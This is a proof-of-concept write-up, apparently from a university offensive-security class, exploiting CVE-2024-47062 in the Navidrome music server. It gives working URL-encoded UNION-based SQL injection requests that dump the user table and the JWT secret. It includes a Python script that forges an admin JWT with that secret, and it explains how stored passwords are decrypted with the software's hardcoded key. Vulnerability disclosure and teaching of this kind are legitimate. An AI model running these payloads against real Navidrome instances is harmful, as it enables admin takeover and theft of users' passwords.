CVE-2024-47062 PoC

Table of Contents

Landscape

GitHub link: https://github.com/saisathvik1/CVE-2024-47062

This PoC demonstrates how an SQL Injection vulnerability in Navidrome (CVE-2024-47062) can be exploited to gain admin access. It explains how SQL Injection can reveal sensitive data, how to use a JWT token to obtain admin privileges, and how to decrypt passwords with a hardcoded key stored in Navidrome. This project was created for our Hacking and Offensive Security class (18-739D) at CMU.

Team: Michael Crotty, Annie Liu, Tilden Jackson, Sai Sathvik

What is Navidrome?

Navidrome is a lightweight, self-hosted music server that enables users to stream their music library from anywhere. It is designed to be compatible with Subsonic API clients, allowing users to connect to and play their music collections through various apps and devices. Navidrome’s features make it ideal for personal streaming needs, but like any software, it can have vulnerabilities. This PoC explores one such vulnerability that allows unauthorized access to sensitive data through SQL Injection.

Setup

  • Create navidrome-music and navidrome-data directories.
  • Download docker-compose.yaml, then run sudo docker-compose up -d to install the container.
  • Navidrome.db is created when the instance is launched for the first time in the navidrome-data directory.
  • Service can be accessed from http://127.0.0.1:4533

Exploitation

SQL Injection

  • This SQL Injection vulnerability arises because parameters from the URL are being directly embedded in SQL queries without proper sanitization. This allows us to inject SQL code by carefully crafting parameters in the URL.

  • The injection can be triggered by passing specific queries directly into the URL, as they are URL-encoded before reaching the server. This encoding allows malicious queries to slip through as part of the request.

  • Example: Passing '=1 as a parameter triggers an error in the logs, revealing the SQL structure and confirming the vulnerability:

    GET /api/radio?%27=1 HTTP/1.1
    
    Log:
    SELECT count(distinct radio.id) as count FROM radio WHERE (' LIKE {:p0})
    
    Response:
    "error":"unrecognized token: \"' LIKE ?)\""
    
  • By reversing and analyzing the Navidrome database (strings Navidrome.db), we identified that the radio table is a part of the database. This insight allows us to use the /api/radio endpoint for SQL Injection testing. The same vulnerability should work across other endpoints that interact with /api, since they also incorporate unsanitized parameters directly into queries.

  • For example, /api/album interacts with the album table, and this technique could similarly be applied there. We chose /api/radio for demonstration as it has fewer columns, which simplifies testing. Using a payload like 1=1) order by 6-- allowed us to determine the number of columns, confirming the structure expected by the query.

  • With this knowledge, it’s clear that this SQL Injection vulnerability is not limited to the radio endpoint but can potentially be exploited on most /api/* endpoints where user input is embedded directly in SQL queries without proper sanitization.

  • Using the payload below, we can dump the user table: 1=1) UNION SELECT id,user_name,password,is_admin,'','' FROM user --

GET /api/radio?%31%3d%31%29%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%69%64%2c%75%73%65%72%5f%6e%61%6d%65%2c%70%61%73%73%77%6f%72%64%2c%69%73%5f%61%64%6d%69%6e%2c%27%27%2c%27%27%20%46%52%4f%4d%20%75%73%65%72%20%2d%2d=1 HTTP/1.1

image

Extracting the JWT Secret from property Table

To retrieve the JWT Secret, we can dump the property table:

  • Payload: 1=1) UNION SELECT ID,VALUE,'','','','' FROM property --
GET /api/radio?%31%3d%31%29%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%69%64%2c%76%61%6c%75%65%2c%27%27%2c%27%27%2c%27%27%2c%27%27%20%66%72%6f%6d%20%70%72%6f%70%65%72%74%79%20%2d%2d=1 HTTP/1.1

image

Crafting an Admin JWT Token

With the JWTSecret from property, we can create a new JWT token with admin privileges. If the password cannot be decrypted, this new token allows us to bypass access restrictions.

  1. Analyzing the JWT token of the currently logged-in user:

    image

  2. Since we have JWTSecret, we can construct a new token. For instance, if the user isn’t an admin, they can’t view the /api/users endpoint:

    image

  3. Use the following Python script (create_jwt.py):

    import jwt
    
    secret = "c1f24a44-98cc-4049-ada2-95363e18e437"
    
    payload = {
      "exp": 1731449169,
      "iat": 1731276369,
      "iss": "ND",
      "sub": "sai",
      "uid": "d8f80c03-103a-4623-9fa9-fafa8836ca52"
    }
    
    token = jwt.encode(payload, secret, algorithm="HS256")
    print(token)
    # Output: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MzE0NDkxNjksImlhdCI6MTczMTI3NjM2OSwiaXNzIjoiTkQiLCJzdWIiOiJzYWkiLCJ1aWQiOiJkOGY4MGMwMy0xMDNhLTQ2MjMtOWZhOS1mYWZhODgzNmNhNTIifQ.GwtwapWo94fXOx7WSCQYpTVYfxeoLH0jpobfhjSzGX0
    
  4. Now we have admin privileges and can view all users:

    image

  5. To register a new user, send a POST request with new user details:

    image

Decrypting Passwords with a Hardcoded Key

Navidrome uses AES encryption in GCM mode to store encrypted passwords instead of hashing, and it employs a hardcoded key: "just for obfuscation". This allows us to decrypt passwords with decryptor.py.

image


Automate Everything

The exploit.py script automates data extraction from the User and Property tables.

image


References

  1. Navidrome Security Advisory
  2. JWT Documentation
  3. SQL Injection Union Attacks
  4. JSON Web Token on Wikipedia